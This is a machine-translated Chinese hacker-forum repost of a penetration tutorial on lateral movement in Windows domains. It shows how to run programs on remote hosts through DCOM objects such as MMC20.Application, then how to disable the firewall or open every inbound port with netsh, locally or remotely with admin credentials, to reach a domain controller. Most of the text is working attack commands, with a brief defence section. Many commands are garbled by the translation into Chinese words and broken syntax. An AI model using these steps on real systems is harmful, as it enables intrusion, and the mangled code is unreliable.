跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

域渗透——利用DCOM在远程系统执行程序

精选回复

发布于

0x00 前言

在以前的文章《在远程系统上执行程序的技术整理》 整理过域环境下常用的程序执行方法:at、psexec、WMIC、wmiexec、smbexec和powershell远程处理,这次将基于马特nelson@谜0x3的研究,详细介绍在域环境下使用DCOM执行程序的方法,分析相关攻防思路。

学习链接如下:

https://谜0x 3。net/2017/01/05/lateral-movement-using-the-MMC 20-application-com-object/

https://谜0x 3。net/2017/01/23/横向移动-通过DCOM-第二轮/

0x01 简介

本文将要介绍以下内容:

DCOM使用介绍

实际利用思路

命令行配置防火墙的技巧

防御思路

0x02 DCOM使用介绍

相关基础知识暂略,关于DCOM的介绍可参考如下链接:

https://msdn.microsoft.com/en-us/library/cc226801.aspx

http://blog.csdn.net/ervinsas/article/details/36424127

本节主要选取马特nelson@谜0x3博客中的主要利用方法进行复现

获得DCOM的程序列表:

powershell代码:

get-CIM Win32 _ dco应用程序实例

注:

Get-CimInstance只适用于Powershell 3.0及以上,Win7默认为2.0不支持,可使用以下替代命令:

get-wmio对象-命名空间根\ CIM v2-Class Win32 _ dco应用程序

当然,直接使用wmic查询也可以,代码如下:

wmic/NAMESPACE:"\ \ root \ CIM v2 "路径Win32 _ DCOM应用程序GET/all/FORMAT:list

powershell对WMI的调用可使用wmic命令进行替换,详情可参考:

https://3g学生。github。io/研究-WMI笔记-持久性-使用-wmic.exe

1、对本机测试

管理员权限,powershell代码如下:

获得MMC20 .'应用程序'支持的操作:

$ com=[activator]:create instance([type]:GetTypeFromProgID(' MMC 20 .应用',' 127.0.0.1 '))

$com .文档。活动视图|获取成员

如下图

2-1.png

查看ExecuteShellCommand对应的参数说明:

$com .文档。活动视图。executeshellcommand

如下图

2-2.png

ExecuteShellCommand对应的参数具体含义可参考以下链接:

https://msdn。微软。com/en-us/library/aa 815396(v=vs . 85).aspx

通过ExecuteShellCommand执行程序:

$ com=[activator]:create instance([type]:GetTypeFromProgID(' MMC 20 .应用',' 127.0.0.1 '))

$com .文档。活动视图。executeshellcommand(' cmd。',$null,'/c calc.exe ','最小化)

2、对远程系统测试

测试环境:域环境

客户:关闭防火墙

服务器:获得域主机内置帐户管理人员的口令,可净使用连接至客户

计算机网络服务器端管理员权限可选择执行如下powershell代码:

1.调用MMC20.Application

$ com=[activator]:create instance([type]:GetTypeFromProgID(' MMC 20 .应用程序',' 192.168.0.2 '))

$com .文档。活动视图。executeshellcommand(' cmd。',$null,'/c calc.exe ','最小化)

操作如下图

2-3.png

Clinet端查看程序列表,启动的calc.exe用户名为测试2(客户端端当前登录用户为a),如下图

2-4.png

2.调用’9BA05972-F6A8-11CF-A442-00A0C90A8F39’

$ com=[Type]:GetTypeFromCLSID(' 9ba 05972-f6a 8-11CF-A442-00 a0c 90 A8 f 39 ',' 192.168.0.2 ')

$obj=[System .activator]:创建实例($ com)

$item=$obj.item()

$item .文档。申请。外壳执行(' cmd。','/c calc.exe ',' c:\windows\system32 ',$null,0)

Clinet端查看程序列表,启动的calc.exe用户名为一个(同客户端当前登录用户名相同),如下图

2-5.png

注:

以上两种方式适用于Win7-Win10

3.调用’C08AFD90-F2A1-11D1-8455-00A0C91F3880’

$ com=[Type]:GetTypeFromCLSID(' c 08 AFD 90-f2a 1-11 D1-8455-00 a0c 91 f 3880 ',' 192.168.0.2 ')

$obj=[System .activator]:创建实例($ com)

一美元.文档。申请。外壳执行(' cmd。','/c calc.exe ',' c:\windows\system32 ',$null,0)

注:

该方法不适用于Win7,适用于Win10和Server2012 R2

0x03 实际利用思路

思路一:域环境未开启防火墙,直接使用

当然,需要获得域内置帐户管理人员的口令

方法不再赘述

思路二:默认开启防火墙,本地修改配置关闭防火墙

这样,其他主机就可以远程操作该主机,可分别通过以下方式实现

1、通过配置入站规则支持DCOM

命令行开启任意端口的代码如下:

netsh防火墙防火墙添加规则名称='任何'协议=TCP目录=在本地端口=任何操作=允许

注:

DCOM通信端口由RPC动态分配,并且不是固定的,因此入站端口规则被设置为any。

添加后,防火墙高级功能面板可以发现添加的入站规则,如下图所示

2-6.png

2、关闭防火墙功能

对应Windows防火墙的服务叫mpssvc。可以使用sc命令远程关闭防火墙服务,如下所示:

停止mpssvc

但是,关闭防火墙服务不能关闭防火墙功能。您需要使用以下命令来关闭防火墙功能:

netsh advfirewall将当前配置文件状态设置为关闭

注:

打开防火墙功能的命令:

netsh advfirewall将当前配置文件状态设置为on

3、通过防火墙配置文件设置入站规则

默认防火墙配置规则如下:

阻止不符合规则的入站连接。

允许不符合规则的出站连接。

如下图

2-7.png

修改规则以允许不符合规则的入站连接。该命令如下所示:

netsh adv firewall set current profile firewall policy allow bound,allowoutbound

修改后,您可以通过高级面板看到修改后的配置,如下图所示

3-1.png

此时,防火墙状态报警,如下图所示

3-2.png

恢复防火墙配置的命令如下:

netsh advfirewall设置当前配置文件防火墙策略阻止入站,允许出站

思路三:远程修改防火墙配置

您可以使用netsh远程配置防火墙规则。您需要知道用户名和密码,并且管理员权限执行以下命令:

netsh-r 192 . 168 . 0 . 2-u TEST \ administrator-p域123!adv firewall set current profile firewall policy allow bound,allowoutbound

注:

对于当前配置文件(即域配置文件):

netsh advfirewall设置当前配置文件设置远程管理启用

所有配置文件都可以使用:

netsh advfirewall set allprofiles设置远程管理启用

错误报告如下:

试图连接到远程计算机时出错。确保

远程计算机上的Windows防火墙服务正在运行并已配置

请允许远程管理,然后再次尝试您的请求。

说明不允许远程计算机进行远程管理,远程计算机需要进行如下设置:

允许Windows防火墙远程管理

默认情况下不支持。选择一个勾号表示打开,如下图所示

4-1.png

注:

在本地管理员的许可下,可以通过命令行执行此操作:

netsh advfirewall设置当前配置文件设置远程管理启用

当此功能打开时,其他主机可以远程管理本地防火墙配置:

(管理员权限)

netsh-r 192 . 168 . 0 . 2-u TEST \ administrator-p域123!advfirewall防火墙添加规则名称=' any ' protocol=TCP dir=in local port=any action=allow

如下图

4-2.png

综上所述,在域控制中使用DCOM远程执行程序的思路如下:

1、获取域控权限

包括域控制内置账号管理员的密码,如果域控制防火墙关闭,可以直接远程执行程序。

注:

如果要使用其他账号远程连接,需要先通过dcomcnfg.exe进入COM安全,激活用户的远程启动和远程激活属性。

2、预置后门

如果域控制器打开防火墙,并且不能直接使用DCOM进行远程执行,它需要权限来远程修改防火墙配置。此权限可以通过设置“允许Windows防火墙远程管理”来获得(默认情况下系统是关闭的)。

此操作要求3389连接到域控制器或使用其他方法在域控制器主机上执行代码。管理员的权限是执行:

netsh advfirewall设置当前配置文件设置远程管理启用

3、远程打开端口

使用netsh远程修改域控制防火墙规则并打开端口。

netsh-r 192 . 168 . 0 . 2-u TEST \ administrator-p域123!advfirewall防火墙添加规则名称=' any ' protocol=TCP dir=in local port=any action=allow

4、远程执行

使用net use远程连接,然后执行以下powershell代码:

$ com=[Type]:GetTypeFromCLSID(' 9ba 05972-f6a 8-11CF-A442-00 a0c 90 A8 f 39 ',' 192.168.0.2 ')

$obj=[System。activator]:create instance($ com)

$item=$obj.item()

$item。document . application . shell execute(' cmd . exe ','/c calc.exe ',' c:\windows\system32 ',$null,0)

注:

选择' 9ba 05972-f6a 8-11cf-a442-00a 0 c 90 A8 f 39 ',执行程序的用户名为当前登录用户。

5、远程恢复域控防火墙设置

netsh-r 192 . 168 . 0 . 2-u TEST \ administrator-p域123!advfirewall防火墙删除规则名称='any '

0x04 防御

要使用DCOM远程执行程序,只需打开防火墙。

您还可以禁用内置帐户管理员对COM的远程启动和远程激活权限。该命令如下所示:

dcomcnfg.exe

打开组件服务-我的电脑-属性-COM安全-启动和激活权限-编辑默认值,如下图所示。

4-3.png

当然也可以通过抓包来分析特征。

0x05 小结

本文分析了用DCOM执行程序的方法。最后,我要感谢马特nelson@ enigma0x 3分享他的文章。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。